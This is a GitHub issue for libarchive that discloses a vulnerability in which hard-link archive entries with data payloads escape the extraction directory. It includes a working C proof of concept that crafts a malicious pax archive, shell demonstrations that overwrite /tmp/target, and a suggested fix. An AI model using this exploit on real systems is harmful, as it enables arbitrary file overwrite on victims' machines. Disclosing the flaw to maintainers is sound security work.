Skip to content

Hard links with data can evade sandboxing restrictions #746

Closed
@kientzle

Description

@kientzle

This is the last of four libarchive bugs reported in Issue #743:

{Affects}

3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier

{Description}

Recall the three classes of filesystem attacks listed earlier:

(1) absolute paths
(2) dot-dot paths
(3) extraction through symlinks

These checks are applied as usual to the pathnames of symlinks and hard links
but not to their targets, with one exception: The targets of hard links are
subjected to absolute-path checks in tar/util.c as of FreeBSD revision r270661
and upstream commit cf8e67f (it seems the revision was submitted upstream and
was rewritten in a different form as the commit -- both strip leading slashes
from the hard-link targets, though not for security reasons).

Archive entries for hard links can use dot-dot pathnames in their targets to
point at any file on the system, subject to the usual hard-linking constraints.
Alternatively, on systems that follow symlinks for link() -- which is an
implementation-defined behavior supported by FreeBSD -- a symlink can first be
extracted that uses absolute or dot-dot pathnames to point at the file, and
then the hard-link target can be the symlink, which means that filtering the
hard-link target for dot-dot paths is not sufficient to address the problem.

The ability to point hard links at outside files becomes more serious when we
consider that libarchive supports the POSIX feature of hard links with data
payloads. This allows an attacker to point a hard link at an existing target
file outside the extraction directory and use the data payload to overwrite the
file.

{Demonstration}

Exploit code is included below.

$ cd /tmp/cage
$ ls
vuln4.c
$ cc -o vuln4 vuln4.c -larchive
$ echo hello > /tmp/target
$ echo goodbye > data
$ ./vuln4 x.tar data p ../../../tmp/target
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to ../../../tmp/target
$ tar xvf x.tar
x p
$ cat /tmp/target
goodbye

The code could be rewritten to use symlinks instead of dot-dot paths:

$ cd /tmp/cage
$ ls
vuln4 vuln4.c
$ echo hello > /tmp/target
$ echo goodbye > data
$ ln -s /tmp/target sym
$ ./vuln4 x.tar data p sym
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to sym
$ tar xvf x.tar
x p
$ cat /tmp/target
goodbye

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

include <sys/types.h>

include <sys/stat.h>

include <archive.h>

include <archive_entry.h>

include <fcntl.h>

include <stdio.h>

include <stdlib.h>

include <unistd.h>

static void make_archive(char *, char *, char *, char *);
static void patch_archive(char *, char *);

static void
make_archive(char *archive, char *file, char *pathname, char *linkname)
{
int fd;
ssize_t len;
char buf[1024];
struct stat s;
struct archive *a;
struct archive_entry *ae;

a = archive_write_new();
archive_write_set_format_pax(a);
archive_write_open_filename(a, archive);

ae = archive_entry_new();
archive_entry_set_pathname(ae, pathname);
/* dummy file type -- AE_SET_HARDLINK has priority anyway */ 
archive_entry_set_filetype(ae, AE_IFREG);   
stat(file, &s);
archive_entry_set_size(ae, s.st_size);
archive_entry_set_uid(ae, 0);
archive_entry_set_gid(ae, 0);
archive_entry_set_perm(ae, 0777);

/* 
 * libarchive allows _extraction_ of hardlink payloads, as per the POSIX 
 * specs for pax, but not without some arm-twisting. We set ctime to force 
 * the addition of a pax extended header so that libarchive doesn't zero 
 * the size field during _extraction_. 
 *
 * libarchive disallows _creation_ of hardlink payloads for all supported 
 * tar formats (pax, ustar, gnutar, v7tar). If we set the hardlink, 
 * libarchive will zero the size field during _creation_, so we simply 
 * create a regular-file entry and patch the archive on disk via 
 * patch_archive() when done.
 */

archive_entry_set_ctime(ae, 1, 1); 
/* archive_entry_set_hardlink(ae, linkname); */        

archive_write_header(a, ae); 

fd = open(file, O_RDONLY);
while ((len = read(fd, buf, sizeof buf)) > 0)
    archive_write_data(a, buf, (size_t)len); 

close(fd);
archive_entry_free(ae);
archive_write_close(a);
archive_write_free(a);

patch_archive(archive, linkname);

}

static void
patch_archive(char archive, char *linkname)
{
/
extended header + extended body + checksum offset */
static const long patch_offset = (512 + 512 + 148);

FILE *fp;
unsigned char *cp;
unsigned long checksum;

fp = fopen(archive, "r+b");
fseek(fp, patch_offset, SEEK_SET);
fscanf(fp, "%lo", &checksum);

/* entry type 0x30 -> 0x31 */
checksum += 1;
cp = (unsigned char *)linkname;
/* linkname char 0x00 -> 0x## */ 
while (*cp) checksum += *cp++; 

fseek(fp, patch_offset, SEEK_SET);
fprintf(fp, "%.6lo%c 1%s", checksum, '\0', linkname);

fclose(fp);

}

int
main(int argc, char *argv[])
{
if (argc != 5) {
fprintf(stderr, "Usage: %s archive file pathname linkname\n", argv[0]);
fprintf(stderr, "\tarchive output malicious archive here\n");
fprintf(stderr, "\tfile file containing overwrite data\n");
fprintf(stderr, "\tpathname archive-entry pathname\n");
fprintf(stderr, "\tlinkname archive-entry linkname\n");
fprintf(stderr, "\t [can use ../ in linkname]\n");
return EXIT_FAILURE;
}

make_archive(argv[1], argv[2], argv[3], argv[4]);

return 0;

}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

{Defense}

POSIX requires that hard links point at only extracted items, though the
possibility that a hard link can use a previously extracted symlink as a target
and escape the extraction directory should be borne in mind.

It seems a good idea to excise the data-payload functionality, which is not a
mandatory POSIX feature and which does not seem to be widely supported anyway.
Look for the lines beginning

} else if (r == 0 && a->filesize > 0) {

in create_filesystem_object() in libarchive/archive_write_disk_posix.c.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions